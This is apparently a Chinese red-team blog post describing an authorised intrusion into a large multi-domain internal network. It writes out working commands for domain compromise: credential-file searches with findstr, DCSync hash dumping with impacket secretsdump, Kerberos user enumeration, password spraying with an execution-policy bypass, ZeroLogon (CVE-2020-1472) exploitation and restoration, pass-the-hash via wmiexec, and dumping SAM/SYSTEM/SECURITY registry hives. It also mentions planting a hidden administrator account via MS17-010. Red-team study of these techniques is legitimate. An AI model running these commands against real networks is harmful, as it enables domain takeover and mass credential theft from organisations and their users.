大家好,这里是 渗透攻击红队 的 RedTeam 系列文章,我是 saulGoodman ,本文仅用于技术讨论与研究,如因此产生的一切不良后果与文章作者无关!
当我们的目标的内网有整个 A 段这么大的时候,并且在这么一个庞大的内网里遇到多个域如何进行渗透?如何定位我们想要获取的东西、机器、或者其他,本篇文章给兄弟们分享如何在内网里进行资产梳理、Webshell 下的信息搜集、Linux 内网渗透思路、定位每一台域机器对应的 IP 是多少、host 碰撞获取内外网对应的资产、无域用户下的内网域渗透、CVE-2020-1472 ...
在一次授权的红蓝对抗中是拿到了一枚 Webshell,当前权限是 admin,并非 root,并且发现 http、https 均出网,估且把 shell 弹到了 Metasploit,方便后续的信息搜集:
这个时候有些刚学内网的兄弟可能就会问了:既然不是 root 权限干嘛不提权?我想说:干嘛要提权?你提权的目的是什么?不提权就不能继续内网渗透了吗?
实际上在内网里遇到 Linux 的环境一般非必要不需要提权,只要能满足我们的一些基本操作就足矣,Linux 和 Windows 的内网渗透在本质上还是有一些区别的,并非拿到机器都需要去提权,还是那句话:不提权还能继续内网渗透吗?如果能,那么就不要提权。
对当前内网进行信息搜集,我一般习惯用 NetBios 或者 LDAP 去探测内网域,当然实际情况需要用到不同的手段,因为当前的 admin 权限没有 Ping 命令,在这里姑且用 NetBios 去对内网进行初步扫描,扫描后发现当前 xxx.xxx.42.xxx/16 段发现是有域的:
并且发现两台 DC,其中 40 的 DC 叫 AAA 域,30 的 DC 叫做 BBB 域,发现 AAA 域存在 17010,system 权限,可以执行命令,随后添加了一个隐藏用户并且添加到了管理员组:
但是登录过去发现有 CredSSP 认证:
无妨,我们通过 Metasploit 弹了一个正向 shell 后拿到域管理的 hash,随后远程导出域内用户 hash:
impacket-secretsdump -hashes xxxxx:xxxxx -just-dc AAAA.com/[email protected] -pwd-last-set
此时 AAA 域已经拿下,所有用户的 hash 也已经掌握(大家记住这里已经拿到 AAA 域的所有域用户密码,一会对 BBB 域有用)
随后通过 WMI 登录到 DC 上,然后去搜索一些密码文件:(要习惯如果拿到了一台 Windows 机器的权限,经可能的要去搜集它当前机器上的各类文件,里面说不定就有一些密码或者连接信息)
findstr /c:"username=" /c:"password=" /c:"uid=" /c:"pwd=" /si *.ini *.inf *.txt *.cgi *.conf *.asp *.php *.jsp *.aspx *.cgi *.xml *.log *.new *.bak
就这样我得到了大量存放在域控机器上的密码,然后为了确定每一台域机器对应的 IP 是多少,首先提取当前域内完整 SPN 记录, 排序去重后过滤出机器名列表:
setspn -Q */* | findstr "CN=" > C:\windows\temp\host.txt
然后本地 linux 去过滤得到机器名:
awk -F "," '{print $1}' host.txt | awk -F "=" '{print $2}' > hosts.txt
最后来到当前 Windows 跳板机器上循环 Ping 得到机器 IP:
c:\windows\temp>cmd /c for /f "delims=" %i in (C:\windows\temp\hosts.txt) do @ping -w 3 -n 1 %i | findstr /c:"[1" >> C:\windows\temp\final.txt
这样就确定了每一台机器对应的 IP,若想要控某一台机器那就很方便了!
接下来对当前 AAA 域的内网进行信息搜集发现没有啥可利用的价值,随后选择继续横向信息搜集。
大家要知道在内网里乱横向信息搜集、乱扫描是毫无意义的!且容易被发现导致送人头,在这里可以把之前外网渗透时搜集到的目标子域名进行内网 host 碰撞,这样能够精确的知道每一台机器对应的是什么系统!
为了更好的定位内外网的资产对应关系,可以使用 win 自带的命令来帮我们获取:(Ping 的到的 IP 不一定就一定存活)
for /f "delims=" %i in (domain.txt) do @ping -w 1 -n 1 %i | findstr /c:"[10." /c:"[192." /c:"[172." >> out.txt
就这样我成功的掌握了当前内网里大部分机器 IP 对应的外网资产到底是什么系统,这样就很清晰的知道目标是什么什么了。
当然我也搜集了一些其他信息,通过扫一个 B 段哪些机器开放了 53 端口的 DNS ip,接着就可以拿着这些 ip 进行暴力枚举,具体能找到多少,需要看字典,枚举完成后会自动存到 csv 搜集 当然也可以通过工具:(如果当前机器出网的话也会枚举出公网 IP,个人建议找一台不出网的机器使用)
dnsbrute.exe -domain aaa.com -dict domain.txt -rate 1000 -retry 1 -server xxx.xxx.66.xxx:53
这样我又成功的拿到了一些内网资产包括一些隐藏资产,知道了这些资产的大概位置,对下一步具体该怎么更高效的搞也是有一定参考意义的,总的来讲,知道这些以后会让整个后渗透过程变得的更有针对性,也不至于搞着搞着就迷失放飞自我了,尤其当内网规模特别大的时候。
在这个时候我发现 BBB 域里有可能存在我想要的东西,但是当前 BBB 域没有任何漏洞,且通过探测只有一台 DC:xxx.xxx.30.xxx
由于现在是无域用户下的内网渗透,所以我们需要拿到 BBB 域的一个域账号,因为之前已经拿到了 AAA 域的所有用户 Hash,这个时候可以用到工具来尝试看看能不能撞库枚举:(因为当前没有一台 BBB 域的域机器,所以需要加一个 --dc 参数指定 BBB 域 DC 的 IP)
通过把 AAA 域的所有域用户的账户名整理到 user.txt 里,大概有个 100 多个用户,然后尝试对 BBB 域进行装库,看看 AAA 域的用户有没有可能 BBB 域里也有:
kerbrute.exe userenum --dc xxx.xxx.30.xxx -d BBB.com user.txt
很幸运的是成功碰撞发现了 BBB 域里也有几个用户和 AAA 域里的用户!
然后通过之前拿到的 hash 去解密得到了这几个用户的明文密码,但是不知道这些 AAA 域用户的密码在这个 BBB 域里密码是不是相同的,只能看运气。
然后使用 Invoke-DomainPasswordSprayOutsideTheDomain.ps1 脚本对域内进行密码喷洒:(个人建议不要同一个用户爆破多个密码,在有些域里面会有密码错误机制,输入错误多少次这个域用户就会被锁定)
powershell -exec bypass
Import-Module .\Invoke-DomainPasswordSprayOutsideTheDomain.ps1
Invoke-DomainPasswordSprayOutsideTheDomain -UserList .\user.txt -Domain "xxx.xxx.30.xxx/DC=BBB,DC=com" -Password pass
很不幸的是并没有密码喷洒成功,当然这里只是给兄弟们一个思路,如何在无域用户下的一个域渗透思路。
这个时候就陷入了瓶颈 ... 后续通过发现 BBB 域的 DC 存在 CVE-2020-1472 漏洞:(具体利用流程我在知识星球 渗透攻击红队 写了,有需要的兄弟自取)
随后进行攻击重置 DC 密码:
这个时候就可以直接无密码远程 Dcsync 导出 BBB 域的 hash:
proxychains impacket-secretsdump bbb.com/BBB\[email protected] -no-pass
然后 wmi 过去:
proxychains python3 wmiexec.py -hashes xxxx:xxxx bbb.com/[email protected]
这个时候 BBB 域也已经拿下,最后恢复一下密码,不让这个域脱域了就 GG 了:
C:\>reg save HKLM\SYSTEM system.save
The operation completed successfully.C:\>reg save HKLM\SAM sam.save
The operation completed successfully.
C:\>reg save HKLM\SECURITY security.save
The operation completed successfully.
全部下载到本地然后获取 $MACHINE.ACC 值:
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
最后进行恢复:
proxychains python3 reinstall_original_pw.py BBBDC xxx.xxx.30.xxx xxxxxxxxx
尝试控密码看看能不能导出 hash,不能导出就说明恢复成功了:
Ok, 已经把 DC 恢复成功,这个时候继续信息搜集发现当前 DC ,还是老样子继续搜集当前已控机器上的各类文件:
findstr /c:"username=" /c:"password=" /c:"uid=" /c:"pwd=" /si *.ini *.inf *.txt *.cgi *.conf *.asp *.php *.jsp *.aspx *.cgi *.xml *.log *.new *.bak
幸运的是我得到了当前域的 Vcenter 的链接账号密码信息,最后通过登录到后台:
至此 BBB 域里所有机器,且整个内网大部分核心机器都在里面,最后一台一台的获取密码然后刷分...(此处省略三百字)
到这里这次的红蓝对抗就已经结束了,蓝队也自然自然的出局了...